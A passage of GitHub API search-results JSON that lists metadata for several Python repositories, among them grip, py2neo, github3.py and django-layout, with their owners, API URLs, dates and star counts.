http://github.com/couchapp/couchapp","fork":false,"url":"https://api.github.com/repos/jchris/couchapp","forks_url":"https://api.github.com/repos/jchris/couchapp/forks","keys_url":"https://api.github.com/repos/jchris/couchapp/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jchris/couchapp/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jchris/couchapp/teams","hooks_url":"https://api.github.com/repos/jchris/couchapp/hooks","issue_events_url":"https://api.github.com/repos/jchris/couchapp/issues/events{/number}","events_url":"https://api.github.com/repos/jchris/couchapp/events","assignees_url":"https://api.github.com/repos/jchris/couchapp/assignees{/user}","branches_url":"https://api.github.com/repos/jchris/couchapp/branches{/branch}","tags_url":"https://api.github.com/repos/jchris/couchapp/tags","blobs_url":"https://api.github.com/repos/jchris/couchapp/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jchris/couchapp/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jchris/couchapp/git/refs{/sha}","trees_url":"https://api.github.com/repos/jchris/couchapp/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jchris/couchapp/statuses/{sha}","languages_url":"https://api.github.com/repos/jchris/couchapp/languages","stargazers_url":"https://api.github.com/repos/jchris/couchapp/stargazers","contributors_url":"https://api.github.com/repos/jchris/couchapp/contributors","subscribers_url":"https://api.github.com/repos/jchris/couchapp/subscribers","subscription_url":"https://api.github.com/repos/jchris/couchapp/subscription","commits_url":"https://api.github.com/repos/jchris/couchapp/commits{/sha}","git_commits_url":"https://api.github.com/repos/jchris/couchapp/git/commits{/sha}","comments_url":"https://api.github.com/repos/jchris/couchapp/comments{/number}","issue_comment_url":"https://api.github.com/repos/jchris/couchapp/issues/comments/{number}","contents_url":"https://api.github.com/repos/jchris/couchapp/contents/{+path}","compare_url":"https://api.github.com/repos/jchris/couchapp/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jchris/couchapp/merges","archive_url":"https://api.github.com/repos/jchris/couchapp/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jchris/couchapp/downloads","issues_url":"https://api.github.com/repos/jchris/couchapp/issues{/number}","pulls_url":"https://api.github.com/repos/jchris/couchapp/pulls{/number}","milestones_url":"https://api.github.com/repos/jchris/couchapp/milestones{/number}","notifications_url":"https://api.github.com/repos/jchris/couchapp/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jchris/couchapp/labels{/name}","releases_url":"https://api.github.com/repos/jchris/couchapp/releases{/id}","created_at":"2009-01-08T18:29:16Z","updated_at":"2014-01-07T21:31:46Z","pushed_at":"2010-02-20T03:24:37Z","git_url":"git://github.com/jchris/couchapp.git","ssh_url":"git@github.com:jchris/couchapp.git","clone_url":"https://github.com/jchris/couchapp.git","svn_url":"https://github.com/jchris/couchapp","homepage":"http://wiki.github.com/couchapp/couchapp","size":2701,"stargazers_count":172,"watchers_count":172,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":77,"mirror_url":null,"open_issues_count":11,"forks":77,"open_issues":11,"watchers":172,"default_branch":"master","master_branch":"master","score":16.602884},{"id":6732980,"name":"grip","full_name":"joeyespo/grip","owner":{"login":"joeyespo","id":634573,"avatar_url":"https://avatars.githubusercontent.com/u/634573","gravatar_id":"c204dd0389ebe976abc4810b38d602b3","url":"https://api.github.com/users/joeyespo","html_url":"https://github.com/joeyespo","followers_url":"https://api.github.com/users/joeyespo/followers","following_url":"https://api.github.com/users/joeyespo/following{/other_user}","gists_url":"https://api.github.com/users/joeyespo/gists{/gist_id}","starred_url":"https://api.github.com/users/joeyespo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joeyespo/subscriptions","organizations_url":"https://api.github.com/users/joeyespo/orgs","repos_url":"https://api.github.com/users/joeyespo/repos","events_url":"https://api.github.com/users/joeyespo/events{/privacy}","received_events_url":"https://api.github.com/users/joeyespo/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/joeyespo/grip","description":"Preview GitHub Markdown files like Readme locally before committing them.","fork":false,"url":"https://api.github.com/repos/joeyespo/grip","forks_url":"https://api.github.com/repos/joeyespo/grip/forks","keys_url":"https://api.github.com/repos/joeyespo/grip/keys{/key_id}","collaborators_url":"https://api.github.com/repos/joeyespo/grip/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/joeyespo/grip/teams","hooks_url":"https://api.github.com/repos/joeyespo/grip/hooks","issue_events_url":"https://api.github.com/repos/joeyespo/grip/issues/events{/number}","events_url":"https://api.github.com/repos/joeyespo/grip/events","assignees_url":"https://api.github.com/repos/joeyespo/grip/assignees{/user}","branches_url":"https://api.github.com/repos/joeyespo/grip/branches{/branch}","tags_url":"https://api.github.com/repos/joeyespo/grip/tags","blobs_url":"https://api.github.com/repos/joeyespo/grip/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/joeyespo/grip/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/joeyespo/grip/git/refs{/sha}","trees_url":"https://api.github.com/repos/joeyespo/grip/git/trees{/sha}","statuses_url":"https://api.github.com/repos/joeyespo/grip/statuses/{sha}","languages_url":"https://api.github.com/repos/joeyespo/grip/languages","stargazers_url":"https://api.github.com/repos/joeyespo/grip/stargazers","contributors_url":"https://api.github.com/repos/joeyespo/grip/contributors","subscribers_url":"https://api.github.com/repos/joeyespo/grip/subscribers","subscription_url":"https://api.github.com/repos/joeyespo/grip/subscription","commits_url":"https://api.github.com/repos/joeyespo/grip/commits{/sha}","git_commits_url":"https://api.github.com/repos/joeyespo/grip/git/commits{/sha}","comments_url":"https://api.github.com/repos/joeyespo/grip/comments{/number}","issue_comment_url":"https://api.github.com/repos/joeyespo/grip/issues/comments/{number}","contents_url":"https://api.github.com/repos/joeyespo/grip/contents/{+path}","compare_url":"https://api.github.com/repos/joeyespo/grip/compare/{base}...{head}","merges_url":"https://api.github.com/repos/joeyespo/grip/merges","archive_url":"https://api.github.com/repos/joeyespo/grip/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/joeyespo/grip/downloads","issues_url":"https://api.github.com/repos/joeyespo/grip/issues{/number}","pulls_url":"https://api.github.com/repos/joeyespo/grip/pulls{/number}","milestones_url":"https://api.github.com/repos/joeyespo/grip/milestones{/number}","notifications_url":"https://api.github.com/repos/joeyespo/grip/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/joeyespo/grip/labels{/name}","releases_url":"https://api.github.com/repos/joeyespo/grip/releases{/id}","created_at":"2012-11-17T07:27:16Z","updated_at":"2014-01-14T14:15:59Z","pushed_at":"2013-10-02T22:20:52Z","git_url":"git://github.com/joeyespo/grip.git","ssh_url":"git@github.com:joeyespo/grip.git","clone_url":"https://github.com/joeyespo/grip.git","svn_url":"https://github.com/joeyespo/grip","homepage":"","size":298,"stargazers_count":208,"watchers_count":208,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":34,"mirror_url":null,"open_issues_count":16,"forks":34,"open_issues":16,"watchers":208,"default_branch":"master","master_branch":"master","score":10.292309},{"id":1990631,"name":"py2neo","full_name":"nigelsmall/py2neo","owner":{"login":"nigelsmall","id":275311,"avatar_url":"https://avatars.githubusercontent.com/u/275311","gravatar_id":"a77749a7215e8b8f8ddaee3c8a5e44bd","url":"https://api.github.com/users/nigelsmall","html_url":"https://github.com/nigelsmall","followers_url":"https://api.github.com/users/nigelsmall/followers","following_url":"https://api.github.com/users/nigelsmall/following{/other_user}","gists_url":"https://api.github.com/users/nigelsmall/gists{/gist_id}","starred_url":"https://api.github.com/users/nigelsmall/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nigelsmall/subscriptions","organizations_url":"https://api.github.com/users/nigelsmall/orgs","repos_url":"https://api.github.com/users/nigelsmall/repos","events_url":"https://api.github.com/users/nigelsmall/events{/privacy}","received_events_url":"https://api.github.com/users/nigelsmall/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/nigelsmall/py2neo","description":"Py2neo is a simple and pragmatic Python library that provides access to the popular graph database Neo4j via its RESTful web service interface. With no external dependencies, installation is straightforward and getting started with coding is easy. The library is actively maintained on GitHub, regularly updated in the Python Package Index and is built uniquely for Neo4j in close association with its team and community.","fork":false,"url":"https://api.github.com/repos/nigelsmall/py2neo","forks_url":"https://api.github.com/repos/nigelsmall/py2neo/forks","keys_url":"https://api.github.com/repos/nigelsmall/py2neo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nigelsmall/py2neo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nigelsmall/py2neo/teams","hooks_url":"https://api.github.com/repos/nigelsmall/py2neo/hooks","issue_events_url":"https://api.github.com/repos/nigelsmall/py2neo/issues/events{/number}","events_url":"https://api.github.com/repos/nigelsmall/py2neo/events","assignees_url":"https://api.github.com/repos/nigelsmall/py2neo/assignees{/user}","branches_url":"https://api.github.com/repos/nigelsmall/py2neo/branches{/branch}","tags_url":"https://api.github.com/repos/nigelsmall/py2neo/tags","blobs_url":"https://api.github.com/repos/nigelsmall/py2neo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nigelsmall/py2neo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nigelsmall/py2neo/git/refs{/sha}","trees_url":"https://api.github.com/repos/nigelsmall/py2neo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nigelsmall/py2neo/statuses/{sha}","languages_url":"https://api.github.com/repos/nigelsmall/py2neo/languages","stargazers_url":"https://api.github.com/repos/nigelsmall/py2neo/stargazers","contributors_url":"https://api.github.com/repos/nigelsmall/py2neo/contributors","subscribers_url":"https://api.github.com/repos/nigelsmall/py2neo/subscribers","subscription_url":"https://api.github.com/repos/nigelsmall/py2neo/subscription","commits_url":"https://api.github.com/repos/nigelsmall/py2neo/commits{/sha}","git_commits_url":"https://api.github.com/repos/nigelsmall/py2neo/git/commits{/sha}","comments_url":"https://api.github.com/repos/nigelsmall/py2neo/comments{/number}","issue_comment_url":"https://api.github.com/repos/nigelsmall/py2neo/issues/comments/{number}","contents_url":"https://api.github.com/repos/nigelsmall/py2neo/contents/{+path}","compare_url":"https://api.github.com/repos/nigelsmall/py2neo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nigelsmall/py2neo/merges","archive_url":"https://api.github.com/repos/nigelsmall/py2neo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nigelsmall/py2neo/downloads","issues_url":"https://api.github.com/repos/nigelsmall/py2neo/issues{/number}","pulls_url":"https://api.github.com/repos/nigelsmall/py2neo/pulls{/number}","milestones_url":"https://api.github.com/repos/nigelsmall/py2neo/milestones{/number}","notifications_url":"https://api.github.com/repos/nigelsmall/py2neo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nigelsmall/py2neo/labels{/name}","releases_url":"https://api.github.com/repos/nigelsmall/py2neo/releases{/id}","created_at":"2011-07-03T10:01:07Z","updated_at":"2014-02-26T16:10:48Z","pushed_at":"2014-02-26T16:10:48Z","git_url":"git://github.com/nigelsmall/py2neo.git","ssh_url":"git@github.com:nigelsmall/py2neo.git","clone_url":"https://github.com/nigelsmall/py2neo.git","svn_url":"https://github.com/nigelsmall/py2neo","homepage":"http://py2neo.org/","size":5320,"stargazers_count":166,"watchers_count":166,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":40,"mirror_url":null,"open_issues_count":20,"forks":40,"open_issues":20,"watchers":166,"default_branch":"master","master_branch":"master","score":5.6046176},{"id":152652,"name":"chishop","full_name":"ask/chishop","owner":{"login":"ask","id":1558,"avatar_url":"https://avatars.githubusercontent.com/u/1558","gravatar_id":"7e8b501f7f579c66ddac7e65cb7962b4","url":"https://api.github.com/users/ask","html_url":"https://github.com/ask","followers_url":"https://api.github.com/users/ask/followers","following_url":"https://api.github.com/users/ask/following{/other_user}","gists_url":"https://api.github.com/users/ask/gists{/gist_id}","starred_url":"https://api.github.com/users/ask/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ask/subscriptions","organizations_url":"https://api.github.com/users/ask/orgs","repos_url":"https://api.github.com/users/ask/repos","events_url":"https://api.github.com/users/ask/events{/privacy}","received_events_url":"https://api.github.com/users/ask/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ask/chishop","description":"Please use https://github.com/benliles/chishop","fork":false,"url":"https://api.github.com/repos/ask/chishop","forks_url":"https://api.github.com/repos/ask/chishop/forks","keys_url":"https://api.github.com/repos/ask/chishop/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ask/chishop/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ask/chishop/teams","hooks_url":"https://api.github.com/repos/ask/chishop/hooks","issue_events_url":"https://api.github.com/repos/ask/chishop/issues/events{/number}","events_url":"https://api.github.com/repos/ask/chishop/events","assignees_url":"https://api.github.com/repos/ask/chishop/assignees{/user}","branches_url":"https://api.github.com/repos/ask/chishop/branches{/branch}","tags_url":"https://api.github.com/repos/ask/chishop/tags","blobs_url":"https://api.github.com/repos/ask/chishop/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ask/chishop/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ask/chishop/git/refs{/sha}","trees_url":"https://api.github.com/repos/ask/chishop/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ask/chishop/statuses/{sha}","languages_url":"https://api.github.com/repos/ask/chishop/languages","stargazers_url":"https://api.github.com/repos/ask/chishop/stargazers","contributors_url":"https://api.github.com/repos/ask/chishop/contributors","subscribers_url":"https://api.github.com/repos/ask/chishop/subscribers","subscription_url":"https://api.github.com/repos/ask/chishop/subscription","commits_url":"https://api.github.com/repos/ask/chishop/commits{/sha}","git_commits_url":"https://api.github.com/repos/ask/chishop/git/commits{/sha}","comments_url":"https://api.github.com/repos/ask/chishop/comments{/number}","issue_comment_url":"https://api.github.com/repos/ask/chishop/issues/comments/{number}","contents_url":"https://api.github.com/repos/ask/chishop/contents/{+path}","compare_url":"https://api.github.com/repos/ask/chishop/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ask/chishop/merges","archive_url":"https://api.github.com/repos/ask/chishop/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ask/chishop/downloads","issues_url":"https://api.github.com/repos/ask/chishop/issues{/number}","pulls_url":"https://api.github.com/repos/ask/chishop/pulls{/number}","milestones_url":"https://api.github.com/repos/ask/chishop/milestones{/number}","notifications_url":"https://api.github.com/repos/ask/chishop/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ask/chishop/labels{/name}","releases_url":"https://api.github.com/repos/ask/chishop/releases{/id}","created_at":"2009-03-17T09:32:17Z","updated_at":"2013-12-17T20:43:03Z","pushed_at":"2011-08-23T16:30:45Z","git_url":"git://github.com/ask/chishop.git","ssh_url":"git@github.com:ask/chishop.git","clone_url":"https://github.com/ask/chishop.git","svn_url":"https://github.com/ask/chishop","homepage":"https://github.com/benliles/djangopypi","size":253,"stargazers_count":163,"watchers_count":163,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":118,"mirror_url":null,"open_issues_count":11,"forks":118,"open_issues":11,"watchers":163,"default_branch":"master","master_branch":"master","score":21.653688},{"id":3710711,"name":"github3.py","full_name":"sigmavirus24/github3.py","owner":{"login":"sigmavirus24","id":240830,"avatar_url":"https://avatars.githubusercontent.com/u/240830","gravatar_id":"c148356d89f925e692178bee1d93acf7","url":"https://api.github.com/users/sigmavirus24","html_url":"https://github.com/sigmavirus24","followers_url":"https://api.github.com/users/sigmavirus24/followers","following_url":"https://api.github.com/users/sigmavirus24/following{/other_user}","gists_url":"https://api.github.com/users/sigmavirus24/gists{/gist_id}","starred_url":"https://api.github.com/users/sigmavirus24/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sigmavirus24/subscriptions","organizations_url":"https://api.github.com/users/sigmavirus24/orgs","repos_url":"https://api.github.com/users/sigmavirus24/repos","events_url":"https://api.github.com/users/sigmavirus24/events{/privacy}","received_events_url":"https://api.github.com/users/sigmavirus24/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/sigmavirus24/github3.py","description":"Python library for interfacing with the GitHub APIv3","fork":false,"url":"https://api.github.com/repos/sigmavirus24/github3.py","forks_url":"https://api.github.com/repos/sigmavirus24/github3.py/forks","keys_url":"https://api.github.com/repos/sigmavirus24/github3.py/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sigmavirus24/github3.py/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sigmavirus24/github3.py/teams","hooks_url":"https://api.github.com/repos/sigmavirus24/github3.py/hooks","issue_events_url":"https://api.github.com/repos/sigmavirus24/github3.py/issues/events{/number}","events_url":"https://api.github.com/repos/sigmavirus24/github3.py/events","assignees_url":"https://api.github.com/repos/sigmavirus24/github3.py/assignees{/user}","branches_url":"https://api.github.com/repos/sigmavirus24/github3.py/branches{/branch}","tags_url":"https://api.github.com/repos/sigmavirus24/github3.py/tags","blobs_url":"https://api.github.com/repos/sigmavirus24/github3.py/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sigmavirus24/github3.py/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sigmavirus24/github3.py/git/refs{/sha}","trees_url":"https://api.github.com/repos/sigmavirus24/github3.py/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sigmavirus24/github3.py/statuses/{sha}","languages_url":"https://api.github.com/repos/sigmavirus24/github3.py/languages","stargazers_url":"https://api.github.com/repos/sigmavirus24/github3.py/stargazers","contributors_url":"https://api.github.com/repos/sigmavirus24/github3.py/contributors","subscribers_url":"https://api.github.com/repos/sigmavirus24/github3.py/subscribers","subscription_url":"https://api.github.com/repos/sigmavirus24/github3.py/subscription","commits_url":"https://api.github.com/repos/sigmavirus24/github3.py/commits{/sha}","git_commits_url":"https://api.github.com/repos/sigmavirus24/github3.py/git/commits{/sha}","comments_url":"https://api.github.com/repos/sigmavirus24/github3.py/comments{/number}","issue_comment_url":"https://api.github.com/repos/sigmavirus24/github3.py/issues/comments/{number}","contents_url":"https://api.github.com/repos/sigmavirus24/github3.py/contents/{+path}","compare_url":"https://api.github.com/repos/sigmavirus24/github3.py/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sigmavirus24/github3.py/merges","archive_url":"https://api.github.com/repos/sigmavirus24/github3.py/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sigmavirus24/github3.py/downloads","issues_url":"https://api.github.com/repos/sigmavirus24/github3.py/issues{/number}","pulls_url":"https://api.github.com/repos/sigmavirus24/github3.py/pulls{/number}","milestones_url":"https://api.github.com/repos/sigmavirus24/github3.py/milestones{/number}","notifications_url":"https://api.github.com/repos/sigmavirus24/github3.py/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sigmavirus24/github3.py/labels{/name}","releases_url":"https://api.github.com/repos/sigmavirus24/github3.py/releases{/id}","created_at":"2012-03-13T19:58:53Z","updated_at":"2014-03-02T15:41:17Z","pushed_at":"2014-03-02T15:41:17Z","git_url":"git://github.com/sigmavirus24/github3.py.git","ssh_url":"git@github.com:sigmavirus24/github3.py.git","clone_url":"https://github.com/sigmavirus24/github3.py.git","svn_url":"https://github.com/sigmavirus24/github3.py","homepage":"http://github3py.readthedocs.org/","size":6049,"stargazers_count":161,"watchers_count":161,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":50,"mirror_url":null,"open_issues_count":11,"forks":50,"open_issues":11,"watchers":161,"default_branch":"develop","master_branch":"develop","score":25.21229},{"id":179897,"name":"github-cli","full_name":"jsmits/github-cli","owner":{"login":"jsmits","id":25479,"avatar_url":"https://avatars.githubusercontent.com/u/25479","gravatar_id":"4dd4c3d3d3f8fcc95d1a234ddc3eb4e4","url":"https://api.github.com/users/jsmits","html_url":"https://github.com/jsmits","followers_url":"https://api.github.com/users/jsmits/followers","following_url":"https://api.github.com/users/jsmits/following{/other_user}","gists_url":"https://api.github.com/users/jsmits/gists{/gist_id}","starred_url":"https://api.github.com/users/jsmits/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jsmits/subscriptions","organizations_url":"https://api.github.com/users/jsmits/orgs","repos_url":"https://api.github.com/users/jsmits/repos","events_url":"https://api.github.com/users/jsmits/events{/privacy}","received_events_url":"https://api.github.com/users/jsmits/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jsmits/github-cli","description":"A command-line interface to the GitHub Issues API v2.","fork":false,"url":"https://api.github.com/repos/jsmits/github-cli","forks_url":"https://api.github.com/repos/jsmits/github-cli/forks","keys_url":"https://api.github.com/repos/jsmits/github-cli/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jsmits/github-cli/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jsmits/github-cli/teams","hooks_url":"https://api.github.com/repos/jsmits/github-cli/hooks","issue_events_url":"https://api.github.com/repos/jsmits/github-cli/issues/events{/number}","events_url":"https://api.github.com/repos/jsmits/github-cli/events","assignees_url":"https://api.github.com/repos/jsmits/github-cli/assignees{/user}","branches_url":"https://api.github.com/repos/jsmits/github-cli/branches{/branch}","tags_url":"https://api.github.com/repos/jsmits/github-cli/tags","blobs_url":"https://api.github.com/repos/jsmits/github-cli/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jsmits/github-cli/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jsmits/github-cli/git/refs{/sha}","trees_url":"https://api.github.com/repos/jsmits/github-cli/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jsmits/github-cli/statuses/{sha}","languages_url":"https://api.github.com/repos/jsmits/github-cli/languages","stargazers_url":"https://api.github.com/repos/jsmits/github-cli/stargazers","contributors_url":"https://api.github.com/repos/jsmits/github-cli/contributors","subscribers_url":"https://api.github.com/repos/jsmits/github-cli/subscribers","subscription_url":"https://api.github.com/repos/jsmits/github-cli/subscription","commits_url":"https://api.github.com/repos/jsmits/github-cli/commits{/sha}","git_commits_url":"https://api.github.com/repos/jsmits/github-cli/git/commits{/sha}","comments_url":"https://api.github.com/repos/jsmits/github-cli/comments{/number}","issue_comment_url":"https://api.github.com/repos/jsmits/github-cli/issues/comments/{number}","contents_url":"https://api.github.com/repos/jsmits/github-cli/contents/{+path}","compare_url":"https://api.github.com/repos/jsmits/github-cli/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jsmits/github-cli/merges","archive_url":"https://api.github.com/repos/jsmits/github-cli/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jsmits/github-cli/downloads","issues_url":"https://api.github.com/repos/jsmits/github-cli/issues{/number}","pulls_url":"https://api.github.com/repos/jsmits/github-cli/pulls{/number}","milestones_url":"https://api.github.com/repos/jsmits/github-cli/milestones{/number}","notifications_url":"https://api.github.com/repos/jsmits/github-cli/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jsmits/github-cli/labels{/name}","releases_url":"https://api.github.com/repos/jsmits/github-cli/releases{/id}","created_at":"2009-04-19T09:05:27Z","updated_at":"2014-01-09T08:33:49Z","pushed_at":"2012-08-15T08:44:58Z","git_url":"git://github.com/jsmits/github-cli.git","ssh_url":"git@github.com:jsmits/github-cli.git","clone_url":"https://github.com/jsmits/github-cli.git","svn_url":"https://github.com/jsmits/github-cli","homepage":"http://github-cli.readthedocs.org/","size":203,"stargazers_count":158,"watchers_count":158,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":25,"mirror_url":null,"open_issues_count":1,"forks":25,"open_issues":1,"watchers":158,"default_branch":"master","master_branch":"master","score":25.8486},{"id":3509387,"name":"django-layout","full_name":"lincolnloop/django-layout","owner":{"login":"lincolnloop","id":1964,"avatar_url":"https://avatars.githubusercontent.com/u/1964","gravatar_id":"34ae1f85673184b05e55f2d4f7e78e48","url":"https://api.github.com/users/lincolnloop","html_url":"https://github.com/lincolnloop","followers_url":"https://api.github.com/users/lincolnloop/followers","following_url":"https://api.github.com/users/lincolnloop/following{/other_user}","gists_url":"https://api.github.com/users/lincolnloop/gists{/gist_id}","starred_url":"https://api.github.com/users/lincolnloop/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lincolnloop/subscriptions","organizations_url":"https://api.github.com/users/lincolnloop/orgs","repos_url":"https://api.github.com/users/lincolnloop/repos","events_url":"https://api.github.com/users/lincolnloop/events{/privacy}","received_events_url":"https://api.github.com/users/lincolnloop/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/lincolnloop/django-layout","description":"Django 1.4+ project template layout. Run: django-admin.py startproject --template=https://github.com/lincolnloop/django-layout/zipball/master --extension=py,rst project_name","fork":false,"url":"https://api.github.com/repos/lincolnloop/django-layout","forks_url":"https://api.github.com/repos/lincolnloop/django-layout/forks","keys_url":"https://api.github.com/repos/lincolnloop/django-layout/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lincolnloop/django-layout/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lincolnloop/django-layout/teams","hooks_url":"https://api.github.com/repos/lincolnloop/django-layout/hooks","issue_events_url":"https://api.github.com/repos/lincolnloop/django-layout/issues/events{/number}","events_url":"https://api.github.com/repos/lincolnloop/django-layout/events","assignees_url":"https://api.github.com/repos/lincolnloop/django-layout/assignees{/user}","branches_url":"https://api.github.com/repos/lincolnloop/django-layout/branches{/branch}","tags_url":"https://api.github.com/repos/lincolnloop/django-layout/tags","blobs_url":"https://api.github.com/repos/lincolnloop/django-layout/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lincolnloop/django-layout/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lincolnloop/django-layout/git/refs{/sha}","trees_url":"https://api.github.com/repos/lincolnloop/django-layout/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lincolnloop/django-layout/statuses/{sha}","languages_url":"https://api.github.com/repos/lincolnloop/django-layout/languages","stargazers_url":"https://api.github.com/repos/lincolnloop/django-layout/stargazers","contributors_url":"https://api.github.com/repos/lincolnloop/django-layout/contributors","subscribers_url":"https://api.github.com/repos/lincolnloop/django-layout/subscribers","subscription_url":"https://api.github.com/repos/lincolnloop/django-layout/subscription","commits_url":"https://api.github.com/repos/lincolnloop/django-layout/commits{/sha}","git_commits_url":"https://api.github.com/repos/lincolnloop/django-layout/git/commits{/sha}","comments_url":"https://api.github.com/repos/lincolnloop/django-layout/comments{/number}","issue_comment_url":"https://api.github.com/repos/lincolnloop/django-layout/issues/comments/{number}","contents_url":"https://api.github.com/repos/lincolnloop/django-layout/contents/{+path}","compare_url":"https://api.github.com/repos/lincolnloop/django-layout/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lincolnloop/django-layout/merges","archive_url":"https://api.github.com/repos/lincolnloop/django-layout/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lincolnloop/django-layout/downloads","issues_url":"https://api.github.com/repos/lincolnloop/django-layout/issues{/number}","pulls_url":"https://api.github.com/repos/lincolnloop/django-layout/pulls{/number}","milestones_url":"https://api.github.com/repos/lincolnloop/django-layout/milestones{/number}","notifications_url":"https://api.github.com/repos/lincolnloop/django-layout/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lincolnloop/django-layout/labels{/name}","releases_url":"https://api.github.com/repos/lincolnloop/django-layout/releases{/id}","created_at":"2012-02-21T23:22:29Z","updated_at":"2014-01-17T06:12:58Z","pushed_at":"2013-05-02T00:21:20Z","git_url":"git://github.com/lincolnloop/django-layout.git","ssh_url":"git@github.com:lincolnloop/django-layout.git","clone_url":"https://github.com/lincolnloop/django-layout.git","svn_url":"https://github.com/lincolnloop/django-layout","homepage":"","size":136,"stargazers_count":166,"watchers_count":166,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":61,"mirror_url":null,"open_issues_count":2,"forks":61,"open_issues":2,"watchers":166,"default_branch":"master","master_branch":"master","score":9.373164},{"id":3042487,"name":"django-project-skel","full_name":"amccloud/django-project-skel","owner":{"login":"amccloud","id":38463,"avatar_url":"https://avatars.githubusercontent.com/u/38463","gravatar_id":"373d40a9bd5e73f80afe6dc196c2f37f","url":"https://api.github.com/users/amccloud","html_url":"https://github.com/amccloud","followers_url":"https://api.github.com/users/amccloud/followers","following_url":"https://api.github.com/users/amccloud/following{/other_user}","gists_url":"https://api.github.com/users/amccloud/gists{/gist_id}","starred_url":"https://api.github.com/users/amccloud/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/amccloud/subscriptions","organizations_url":"https://api.github.com/users/amccloud/orgs","repos_url":"https://api.github.com/users/amccloud/repos","events_url":"https://api.github.com/users/amccloud/events{/privacy}","received_events_url":"https://api.github.com/users/amccloud/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/amccloud/django-project-skel","description":"To use run: django-admin.py startproject --template https://github.com/amccloud/django-project-skel/zipball/master --extension py,md,gitignore yourprojectname","fork":false,"url":"https://api.github.com/repos/amccloud/django-project-skel","forks_url":"https://api.github.com/repos/amccloud/django-project-skel/forks","keys_url":"https://api.github.com/repos/amccloud/django-project-skel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/amccloud/django-project-skel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/amccloud/django-project-skel/teams","hooks_url":"https://api.github.com/repos/amccloud/django-project-skel/hooks","issue_events_url":"https://api.github.com/repos/amccloud/django-project-skel/issues/events{/number}","events_url":"https://api.github.com/repos/amccloud/django-project-skel/events","assignees_url":"https://api.github.com/repos/amccloud/django-project-skel/assignees{/user}","branches_url":"https://api.github.com/repos/amccloud/django-project-skel/branches{/branch}","tags_url":"https://api.github.com/repos/amccloud/django-project-skel/tags","blobs_url":"https://api.github.com/repos/amccloud/django-project-skel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/amccloud/django-project-skel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/amccloud/django-project-skel/git/refs{/sha}","trees_url":"https://api.github.com/repos/amccloud/django-project-skel/git/trees{